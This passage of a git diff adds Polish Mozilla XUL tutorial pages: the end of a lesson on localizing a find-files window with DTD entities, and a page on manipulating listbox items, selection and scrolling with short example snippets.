+<span class="highlightred">&lt;!DOCTYPE window SYSTEM "<a class="external" rel="freelink">chrome://findfile/locale/findfile.dtd</a>"&gt;</span>
+
+&lt;window
+ id="findfile-window"
+ title="<span class="highlightred">&amp;findWindow.title;</span>"
+ persist="screenX screenY width height"
+ orient="horizontal"
+ onload="initSearchList()"
+ xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+
+&lt;script src="findfile.js"/&gt;
+
+&lt;popupset&gt;
+ &lt;menupopup id="editpopup"&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;cutCmd.label;</span>" accesskey="<span class="highlightred">&amp;cutCmd.accesskey;</span>"/&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;copyCmd.label;</span>" accesskey="<span class="highlightred">&amp;copyCmd.accesskey;</span>"/&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;pasteCmd.label;</span>" accesskey="<span class="highlightred">&amp;pasteCmd.accesskey;</span>" disabled="true"/&gt;
+ &lt;/menupopup&gt;
+&lt;/popupset&gt;
+
+&lt;keyset&gt;
+ &lt;key id="cut_cmd" modifiers="accel" key="<span class="highlightred">&amp;cutCmd.commandkey;</span>"/&gt;
+ &lt;key id="copy_cmd" modifiers="accel" key="<span class="highlightred">&amp;copyCmd.commandkey;</span>"/&gt;
+ &lt;key id="paste_cmd" modifiers="accel" key="<span class="highlightred">&amp;pasteCmd.commandkey;</span>"/&gt;
+ &lt;key id="close_cmd" keycode="VK_ESCAPE" oncommand="window.close();"/&gt;
+&lt;/keyset&gt;
+
+&lt;vbox flex="1"&gt;
+
+ &lt;toolbox&gt;
+
+ &lt;menubar id="findfiles-menubar"&gt;
+ &lt;menu id="file-menu" label="<span class="highlightred">&amp;fileMenu.label;</span>"
+ accesskey="<span class="highlightred">&amp;fileMenu.accesskey;</span>"&gt;
+ &lt;menupopup id="file-popup"&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;openCmd.label;</span>"
+ accesskey="<span class="highlightred">&amp;openCmd.accesskey;</span>"/&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;saveCmd.label;</span>"
+ accesskey="<span class="highlightred">&amp;saveCmd.accesskey;</span>"/&gt;
+ &lt;menuseparator/&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;closeCmd.label;</span>"
+ accesskey="<span class="highlightred">&amp;closeCmd.accesskey;" key="close_cmd" oncommand="window.close();</span>"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;menu id="edit-menu" label="<span class="highlightred">&amp;editMenu.label;</span>"
+ accesskey="<span class="highlightred">&amp;editMenu.accesskey;</span>"&gt;
+ &lt;menupopup id="edit-popup"&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;cutCmd.label;</span>"
+ accesskey="<span class="highlightred">&amp;cutCmd.accesskey;</span>" key="cut_cmd"/&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;copyCmd.label;</span>"
+ accesskey="<span class="highlightred">&amp;copyCmd.accesskey;</span>" key="copy_cmd"/&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;pasteCmd.label;</span>"
+ accesskey="<span class="highlightred">&amp;pasteCmd.accesskey;</span>" key="paste_cmd" disabled="true"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;/menubar&gt;
+
+ &lt;toolbar id="findfiles-toolbar"&gt;
+ &lt;toolbarbutton id="opensearch" label="<span class="highlightred">&amp;openCmdToolbar.label;</span>"/&gt;
+ &lt;toolbarbutton id="savesearch" label="<span class="highlightred">&amp;saveCmdToolbar.label;</span>"/&gt;
+ &lt;/toolbar&gt;
+ &lt;/toolbox&gt;
+
+ &lt;tabbox&gt;
+ &lt;tabs&gt;
+ &lt;tab label="<span class="highlightred">&amp;searchTab;</span>" selected="true"/&gt;
+ &lt;tab label="<span class="highlightred">&amp;optionsTab;</span>"/&gt;
+ &lt;/tabs&gt;
+
+ &lt;tabpanels&gt;
+
+ &lt;tabpanel id="searchpanel" orient="vertical" context="editpopup"&gt;
+
+ &lt;description&gt;
+ <span class="highlightred">&amp;findDescription;</span>
+ &lt;/description&gt;
+
+ &lt;spacer class="titlespace"/&gt;
+
+ &lt;groupbox orient="horizontal"&gt;
+ &lt;caption label="<span class="highlightred">&amp;findCriteria;</span>"/&gt;
+
+ &lt;menulist id="searchtype"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;type.name;</span>"/&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;type.size;</span>"/&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;type.date;</span>"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
+ &lt;spacer class="springspace"/&gt;
+ &lt;menulist id="searchmode"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;mode.is;</span>"/&gt;
+ &lt;menuitem label="<span class="highlightred">&amp;mode.isnot;</span>"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
+ &lt;spacer class="springspace"/&gt;
+
+ &lt;menulist id="find-text" flex="1"
+ editable="true"
+ datasources="<a class="external" rel="freelink">file:///mozilla/recents.rdf</a>"
+ ref="<span class="nowiki">http://www.xulplanet.com/rdf/recent/all</span>"&gt;
+ &lt;template&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="<span class="nowiki">rdf:http://www.xulplanet.com/rdf/recent#Label</span>" uri="rdf:*"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/template&gt;
+ &lt;/menulist&gt;
+
+ &lt;/groupbox&gt;
+
+ &lt;/tabpanel&gt;
+
+ &lt;tabpanel id="optionspanel" orient="vertical"&gt;
+ &lt;checkbox id="casecheck" label="<span class="highlightred">&amp;casesensitive;</span>"/&gt;
+ &lt;checkbox id="wordscheck" label="<span class="highlightred">&amp;matchfilename;</span>"/&gt;
+ &lt;/tabpanel&gt;
+
+ &lt;/tabpanels&gt;
+ &lt;/tabbox&gt;
+
+ &lt;tree id="results" style="display: none;" flex="1"&gt;
+ &lt;treecols&gt;
+ &lt;treecol id="name" label="<span class="highlightred">&amp;results.filename;</span>" flex="1"/&gt;
+ &lt;treecol id="location" label="<span class="highlightred">&amp;results.location;</span>" flex="2"/&gt;
+ &lt;treecol id="size" label="<span class="highlightred">&amp;results.size;</span>" flex="1"/&gt;
+ &lt;/treecols&gt;
+
+ &lt;treechildren&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="mozilla"/&gt;
+ &lt;treecell label="/usr/local"/&gt;
+ &lt;treecell label="<span class="highlightred">&amp;bytes.before;</span>2520<span class="highlightred">&amp;bytes.after;</span>"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+ &lt;/tree&gt;
+
+ &lt;splitter id="splitbar" resizeafter="grow" style="display: none;"/&gt;
+
+ &lt;spacer class="titlespace"/&gt;
+
+ &lt;hbox&gt;
+ &lt;progressmeter id="progmeter" value="50%" style="display: none;"/&gt;
+ &lt;spacer flex="1"/&gt;
+ &lt;button id="find-button" label="<span class="highlightred">&amp;button.find;</span>"
+ oncommand="doFind()"/&gt;
+ &lt;button id="cancel-button" label="<span class="highlightred">&amp;button.cancel;</span>"
+ oncommand="window.close();"/&gt;
+ &lt;/hbox&gt;
+&lt;/vbox&gt;
+
+&lt;/window&gt;
+</pre>
+
+<p>Każdy łańcuch tekstowy został zastąpiony poprzez odwołanie się do odpowiedniej encji. Plik DTD został umieszczony zaraz na początku pliku XUL. Każdą encję, którą dodamy, powinniśmy zadeklarować w pliku DTD. Okno nie powinno zostać wyświetlone, jeśli encja będzie umieszczona w pliku XUL, a nie została zadeklarowana.</p>
+
+<p>Uwaga: nazwa encji nie jest ważna. W przykładzie powyżej, słowa w encjach zostały oddzielone kropką. Nie musimy tego robić. Nazwy encji tutaj, są podobne do przyjętej konwencji kodu jakiej używa Mozilla.</p>
+
+<p>Zwróć uwagę, że tekst o rozmiarze '2520 bajtów' zastąpiliśmy poprzez dwie encje. Dzieje się tak, ponieważ struktura wyrażenia może być inna w następnym miejscu. Na przykład, numer może potrzebować stać się równoważnym ilości bajtów, przed zamiast po. Oczywiście może to być bardziej skomplikowane do zrealizowania, aby wyświetlać rozmiar w KB lub potrzebne bardziej będą już Ci MB.</p>
+
+<p>Klucze dostępu, jak i skróty klawiaturowe także będziemy tłumaczyli jako encje, ponieważ będą one prawdopodobnie inne oraz w innych miejscach będą się znajdowały.</p>
+
+<p>Następnie, plik DTD (findfile.dtd):</p>
+
+<pre>&lt;!ENTITY findWindow.title "Find Files"&gt;
+&lt;!ENTITY fileMenu.label "File"&gt;
+&lt;!ENTITY editMenu.label "Edit"&gt;
+&lt;!ENTITY fileMenu.accesskey "f"&gt;
+&lt;!ENTITY editMenu.accesskey "e"&gt;
+&lt;!ENTITY openCmd.label "Open Search..."&gt;
+&lt;!ENTITY saveCmd.label "Save Search..."&gt;
+&lt;!ENTITY closeCmd.label "Close"&gt;
+&lt;!ENTITY openCmd.accesskey "o"&gt;
+&lt;!ENTITY saveCmd.accesskey "s"&gt;
+&lt;!ENTITY closeCmd.accesskey "c"&gt;
+&lt;!ENTITY cutCmd.label "Cut"&gt;
+&lt;!ENTITY copyCmd.label "Copy"&gt;
+&lt;!ENTITY pasteCmd.label "Paste"&gt;
+&lt;!ENTITY cutCmd.accesskey "t"&gt;
+&lt;!ENTITY copyCmd.accesskey "c"&gt;
+&lt;!ENTITY pasteCmd.accesskey "p"&gt;
+&lt;!ENTITY cutCmd.commandkey "X"&gt;
+&lt;!ENTITY copyCmd.commandkey "C"&gt;
+&lt;!ENTITY pasteCmd.commandkey "V"&gt;
+&lt;!ENTITY openCmdToolbar.label "Open"&gt;
+&lt;!ENTITY saveCmdToolbar.label "Save"&gt;
+&lt;!ENTITY searchTab "Search"&gt;
+&lt;!ENTITY optionsTab "Options"&gt;
+&lt;!ENTITY findDescription "Enter your search criteria below and select the Find button to begin the search."&gt;
+&lt;!ENTITY findCriteria "Search Criteria"&gt;
+&lt;!ENTITY type.name "Name"&gt;
+&lt;!ENTITY type.size "Size"&gt;
+&lt;!ENTITY type.date "Date Modified"&gt;
+&lt;!ENTITY mode.is "Is"&gt;
+&lt;!ENTITY mode.isnot "Is Not"&gt;
+&lt;!ENTITY casesensitive "Case Sensitive Search"&gt;
+&lt;!ENTITY matchfilename "Match Entire Filename"&gt;
+&lt;!ENTITY results.filename "Filename"&gt;
+&lt;!ENTITY results.location "Location"&gt;
+&lt;!ENTITY results.size "Size"&gt;
+&lt;!ENTITY bytes.before ""&gt;
+&lt;!ENTITY bytes.after "bytes"&gt;
+&lt;!ENTITY button.find "Find"&gt;
+&lt;!ENTITY button.cancel "Cancel"&gt;
+</pre>
+
+<p>Wszystko czego potrzeba do zmiany wersji językowej, to utworzenie następnego pliku DTD. Używając systemu chrome dodaj plik DTD dla innych lokalizacji, ten sam plik możemy zastosować w każdym języku.</p>
+
+<p>Przykład <code>Znajdź pliki</code>: <a href="https://developer.mozilla.org/samples/xultu/examples//findfile/findfile-locale.xul.txt">Źródła</a></p>
+</div>
+
+<p>W następnym artykule, zobaczymy jak wyglądają <a href="pl/Kurs_XUL/Plik_w%c5%82asno%c5%9bci">pliki własności</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Tworzenie_motywów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Plik_własności">Następny »</a></p>
+</div><p></p>
+
+<div class="noinclude"> </div>
+
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/manipulowanie_listami/index.html b/files/pl/mozilla/tech/xul/kurs_xul/manipulowanie_listami/index.html
new file mode 100644
index 0000000000..65fbdf5b5d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/manipulowanie_listami/index.html
@@ -0,0 +1,146 @@
+---
+title: Manipulowanie listami
+slug: Mozilla/Tech/XUL/Kurs_XUL/Manipulowanie_listami
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Manipulating_Lists
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Modyfikowanie_interfejsu_XUL" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Obiekty_pudełka">Następny »</a></p>
+</div>
+<p></p><p>Pudełko listy XUL posiada kilka specjalnych metod.
+</p>
+<h3 id="Manipulowanie_listami" name="Manipulowanie_listami"> Manipulowanie listami </h3>
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code></code> dostarcza licznych metod do wyszukiwania i manipulowania swoimi pozycjami. Chociaż <a href="pl/Kurs_XUL/Kontrolki_list">pudełka listy</a> mogą być manipulowane przy zastosowaniu standardowych funkcji <a href="pl/DOM">DOM</a>, zalecane jest, żeby stosować specjalne funkcje pudełka list, gdy to jest możliwe. Funkcje te są trochę prostsze i będą poprawnie wykonywały swoje zadanie. </p><p>Funkcja <code><span id="m-appendItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendItem">appendItem()</a></code></span></code> jest stosowana do dołączania nowej pozycji na końcu listy. Podobna jest do funkcji <code><a href="pl/DOM/element.appendChild">DOM appendChild()</a></code> z wyjątkiem tego, że pobiera etykietę w postaci łańcucha znaków, a Ty nie musisz się martwić o to, gdzie ją dodać w strukturze listy. Poniżej mamy przykład:
+</p><p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_1.xul">Podgląd</a>
+</p>
+<pre>&lt;script&gt;
+function addItem(){
+ document.getElementById('thelist').appendItem("Czwartek", "czw");
+}
+&lt;/script&gt;
+
+&lt;listbox id="thelist"/&gt;
+
+&lt;button label="Dodaj" oncommand="addItem();"/&gt;
+</pre>
+<p>Metoda <code><span id="m-appendItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendItem">appendItem()</a></code></span></code> pobiera dwa argumenty; argument <code>label</code>, w tym przypadku 'Czwartek' oraz argument <code>value</code> 'czw'. Te dwa argumenty są przesyłane do atrybutu <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> i atrybutu <code><code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></code> dla elementu w <code><code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code></code>. Ta wartość jest używana tylko jako dodatkowa opcjonalna wartość powiązana z pozycją, którą można by było zastosować w skrypcie. </p><p>Podobnie jest również z funkcją <code><span id="m-insertItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/insertItemAt">insertItemAt()</a></code></span></code> i <code><span id="m-removeItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeItemAt">removeItemAt()</a></code></span></code>, które odpowiednio wstawiają nową pozycję i usuwają poszczególne istniejące pozycje. Składnia jest następująca:
+</p>
+<pre>list.insertItemAt(3, "Czwartek", "czw");
+list.removeItemAt(3);
+</pre>
+<p>Funkcja <code><span id="m-insertItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/insertItemAt">insertItemAt()</a></code></span></code> pobiera dodatkowy argument, pozycję do wstawienia nowej pozycji. Nowa pozycja jest włożona do tego indeksu, więc w przykładzie nowa pozycja będzie dodana na pozycji 3, podczas gdy wcześniejsza pozycja z tego miejsca będzie teraz pod numerem 4. Pamiętaj, że pierwszą pozycją jest 0. Funkcja <code><span id="m-removeItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeItemAt">removeItemAt()</a></code></span></code> będzie usuwała pozycję o określonym indeksie.
+</p><p>Te trzy metody są również dostępne dla kilku innych elementów XUL i działają w ten sam sposób. Faktycznie, te metody są częścią interfejsu <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIDOMXULSelectControlElement.html">nsIDOMXULSelectControlElement</a>, więc dowolny element XUL, który implementuje ten interfejs, posiada te metody. Obejmuje to elementy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code>, <code><code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code> i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code>. Na przykład, dodając nową pozycję do <a href="pl/Kurs_XUL/Proste_paski_menu">menulist</a>, możemy zastosować ta samą składnię jak dla <a href="pl/Kurs_XUL/Kontrolki_list">listbox</a>. Poprawny rodzaj elementu będzie mógł zostać dołączony w każdej sytuacji.
+</p>
+<h3 id="Zaznaczenie_listy" name="Zaznaczenie_listy"> Zaznaczenie listy </h3>
+<p>Interfejs nsIDOMXULSelectControlElement posiada dwie dodatkowe własności: <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedIndex">selectedIndex</a></span></code></code> i <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedItem">selectedItem</a></span></code></code>. Pierwsza zwraca index zaznaczonej pozycji, podczas gdy druga zwraca zaznaczony element. Dla przykładu selectedItem listy menu będzie to pozycja <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code>, która jest zaznaczona. Jeśli nie zostanie zaznaczona żadna pozycja, własność <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedIndex">selectedIndex</a></span></code></code> zwróci -1, podczas gdy własność <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedItem">selectedItem</a></span></code></code> zwróci null.
+</p>
+<h4 id="Pobieranie_zaznaczonej_pozycji" name="Pobieranie_zaznaczonej_pozycji"> Pobieranie zaznaczonej pozycji </h4>
+<p>Te dwie własności są powszechnie sprawdzane podczas zdarzenia wyboru, jak pokazano w poniższym przykładzie:
+</p><p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_2.xul">Podgląd</a>
+</p>
+<pre>&lt;listbox id="thelist" onselect="alert(this.selectedItem.label);"&gt;
+ &lt;listitem label="Niski"/&gt;
+ &lt;listitem label="Średni"/&gt;
+ &lt;listitem label="Wysoki"/&gt;
+&lt;/listbox&gt;
+</pre>
+<p>Zdarzenie zaznaczenia jest odpalane dla elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, kiedy pozycja w liście jest zaznaczona. Obsługa wyboru wyświetla alarm zawierający etykietkę wybranej pozycji z listy. Jeśli wyzwolono zdarzenie wyboru, możemy założyć, że pozycja została wybrana. W innych przypadkach możesz życzyć sobie sprawdzenia, aby upewnić się przed kontynuowaniem, że selectedItem nie jest null.
+</p><p>Zdarzenie zaznaczenia jest także odpalane, kiedy jest zaznaczony przycisk opcji w <code><code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code> i kiedy jest zaznaczona karta w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code>. Jednak <code><a href="pl/XUL/menulist">menulists</a></code> nie odpala zdarzenia zaznaczenia, zamiast tego można nasłuchiwać zdarzenia polecenia do obsługi, kiedy pozycja jest zaznaczona.
+</p><p>Dla elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code> często bardziej dogodnymi do użycia funkcjami elementu są funkcje elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></code>. Posiada on również funkcję <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedIndex">selectedIndex</a></span></code></code>, która będzie zwracała index zaznaczonej karty. Jednakże do pobrania zaznaczonej pozycji użyj zamiast tego własności elementu tabbox <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedTab">selectedTab</a></span></code></code> lub użyj własności <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedPanel">selectedPanel</a></span></code></code> do pobrania zaznaczonego panelu, to znaczy, że zwraca zawartość powiązanego z nim elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code>.
+</p>
+<h4 id="Zmienianie_zaznaczenia" name="Zmienianie_zaznaczenia"> Zmienianie zaznaczenia </h4>
+<p>Wszystkim podobnym własnościom zaznaczenia, które zostały opisane powyżej, mogą również być przydzielone nowe wartości do zmiany zaznaczenia. W następnym przykładzie właściwość <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedIndex">selectedIndex</a></span></code></code> elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code> jest zmieniana w oparciu o wartość wprowadzoną w polu tekstowym. Kod ten nie jest niestety niezawodny; na przykład nie sprawdza się, jeśli wprowadzona wartość jest poza zakresem. Będziemy chcieli mieć pewność, że dodany zostanie właściwy sposób sprawdzenia tego błędu.
+</p><p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_3.xul">Podgląd</a>
+</p>
+<pre>&lt;script&gt;
+function doSelect(){
+ var val = document.getElementById('number').value;
+ val = Number(val);
+ if (val != null)
+ document.getElementById('level').selectedIndex = val - 1;
+}
+&lt;/script&gt;
+
+&lt;hbox align="center"&gt;
+ &lt;label value="Wprowadź liczbę od 1 do 3:"/&gt;
+ &lt;textbox id="number"/&gt;
+ &lt;button label="Zaznacz" oncommand="doSelect();"/&gt;
+&lt;/hbox&gt;
+
+&lt;radiogroup id="level"&gt;
+ &lt;radio label="Wyśmienite"/&gt;
+ &lt;radio label="Dobre"/&gt;
+ &lt;radio label="Słabe"/&gt;
+&lt;/radiogroup&gt;
+</pre>
+<p>Pudełko listy również obsługuje wielokrotne zaznaczenie oraz funkcje interfejsu <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIDOMXULMultiSelectControlElement.html">nsIDOMXULMultiSelectControlElement</a>. Interfejs ten posiada kilka sprecyzowanych funkcji obsługujących wielokrotne zaznaczenie. Na przykład własność <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedItems">selectedItems</a></span></code></code> przechowuje listę pozycji, które są zaznaczone, podczas gdy własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedCount">selectedCount</a></span></code> przechowuje liczbę zaznaczonych pozycji. Zazwyczaj te własności będą używane do iteracji przez tą listę i wykonywania jakiś operacji dla każdej pozycji. Bądźmy ostrożni, kiedy iterujemy przez zaznaczone pozycje; jeśli modyfikujemy pozycje w liście podczas trwania iteracji, lista będzie zmieniana i własność zaznaczenia może zwrócić różne wartości. Jest to jeden z powodów dla których jest to użyteczny sposób manipulowania listą poprzez pozycje raczej niż poprzez index.
+</p>
+<h4 id="Usuwanie_zaznaczonych_pozycji" name="Usuwanie_zaznaczonych_pozycji"> Usuwanie zaznaczonych pozycji </h4>
+<p>Poniższy przykład pokazuje metodę właściwego usuwania zaznaczonej pozycji:
+</p><p><span id="Przyk%C5%82ad_4"><a id="Przyk%C5%82ad_4"></a><strong>Przykład 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_4.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_4.xul">Podgląd</a>
+</p>
+<pre>&lt;script&gt;
+function deleteSelection(){
+ var list = document.getElementById('thelist');
+ var count = list.selectedCount;
+ while (count--){
+ var item = list.selectedItems[0];
+ list.removeItemAt(list.getIndexOfItem(item));
+ }
+}
+&lt;/script&gt;
+
+&lt;button label="Delete" oncommand="deleteSelection();"/&gt;
+
+&lt;listbox id="thelist" seltype="multiple"&gt;
+ &lt;listitem label="Cheddar"/&gt;
+ &lt;listitem label="Cheshire"/&gt;
+ &lt;listitem label="Edam"/&gt;
+ &lt;listitem label="Gouda"/&gt;
+ &lt;listitem label="Havartie"/&gt;
+&lt;/listbox&gt;
+</pre>
+<p>Wewnątrz pętli <code>while</code> możemy:
+</p>
+<ul><li> pobierać selecteItem o indeksie 0. Pierwsza zaznaczona pozycja jest zawsze otrzymywana jako rozmiar tablicy będącej zmniejszonej o usunięte pozycje,
+</li><li> usuwać pozycję używając funkcji <code><span id="m-removeItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeItemAt">removeItemAt()</a></code></span></code>. Od momentu, gdy ta funkcja żąda indeksu. </li><li> konwertować pomiędzy pozycją a indeksem stosując funkcję <code><span id="m-getIndexOfItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getIndexOfItem">getIndexOfItem()</a></code></span></code>. Jest to także przesyłanie funkcji <code><span id="m-getItemAtIndex"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getItemAtIndex">getItemAtIndex()</a></code></span></code> do swojej odwrotności.
+</li></ul>
+<p>Interfejs <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIDOMXULMultiSelectControlElement.html">nsIDOMXULMultiSelectControlElement</a> posiada również metody do modyfikacji zaznaczonych pozycji. Dla przykładu funkcja <code><span id="m-addItemToSelection"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/addItemToSelection">addItemToSelection()</a></code></span></code> dodaje nową pozycję do zbioru zaznaczonych pozycji, bez czyszczenia istniejącego zaznaczenia. Funkcja <code><span id="m-removeItemFromSelection"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeItemFromSelection">removeItemFromSelection()</a></code></span></code> usuwa pojedynczą pozycję z zaznaczonych pozycji.
+</p>
+<h3 id="Przewijanie_listy" name="Przewijanie_listy"> Przewijanie listy </h3>
+<p>Jeśli jest więcej wierszy w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code></code>, niż może być wyświetlonych, pojawi się pasek przewijania pozwalający użytkownikowi przewinąć listę. Pozycja przewijania może być modyfikowana przy użyciu paru metod pola listy.
+</p><p>Metoda <code><span id="m-scrollToIndex"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/scrollToIndex">scrollToIndex()</a></code></span></code> przewija do danego wiersza. To pole listy będzie przewijane tak, że wiersz, do którego chcemy przewinąć listę, będzie widocznym górnym wierszem, chyba że wiersz jest wierszem tuż przed końcem listy pozycji. Metoda <code><span id="m-ensureIndexIsVisible"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/ensureIndexIsVisible">ensureIndexIsVisible()</a></code></span></code> jest podobna w tym, że również przewija pokazując wiersz, ale metoda ta nie przewija, jeśli ta pozycja jest aktualnie widoczna. Zatem pierwsza funkcja jest używana do przewijania do określonego wiersza podczas, gdy druga jest używana tylko do upewnienia się, że wiersz jest widoczny. Jest również metoda <code><span id="m-ensureIndexIsVisible"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/ensureIndexIsVisible">ensureIndexIsVisible()</a></code></span></code>, która pobiera pozycje jako argument zamiast jako index. Rezultat porównania obu funkcji przy różnych pozycjach przewinięcia jest w tym przykładzie:
+</p><p><span id="Przyk%C5%82ad_5"><a id="Przyk%C5%82ad_5"></a><strong>Przykład 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_5.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_5.xul">Podgląd</a>
+</p>
+<pre>&lt;button label="scrollToIndex"
+ oncommand="document.getElementById('thelist').scrollToIndex(4);"/&gt;
+&lt;button label="ensureIndexIsVisible"
+ oncommand="document.getElementById('thelist').ensureIndexIsVisible(4);"/&gt;
+
+&lt;listbox id="thelist" rows="5"&gt;
+ &lt;listitem label="1"/&gt;
+ &lt;listitem label="2"/&gt;
+ &lt;listitem label="3"/&gt;
+ &lt;listitem label="4"/&gt;
+ &lt;listitem label="5"/&gt;
+ &lt;listitem label="6"/&gt;
+ &lt;listitem label="7"/&gt;
+ &lt;listitem label="8"/&gt;
+ &lt;listitem label="9"/&gt;
+ &lt;listitem label="10"/&gt;
+ &lt;listitem label="11"/&gt;
+ &lt;listitem label="12"/&gt;
+&lt;/listbox&gt;
+</pre>
+<p>W następnym artykule przeczytamy o <a href="pl/Kurs_XUL/Obiekty_pude%c5%82ka">obiektach pudełka XUL</a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Modyfikowanie_interfejsu_XUL" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Obiekty_pudełka">Następny »</a></p>
+</div>
+<p></p><p><br>
+</p>
+<div class="noinclude">
+</div>
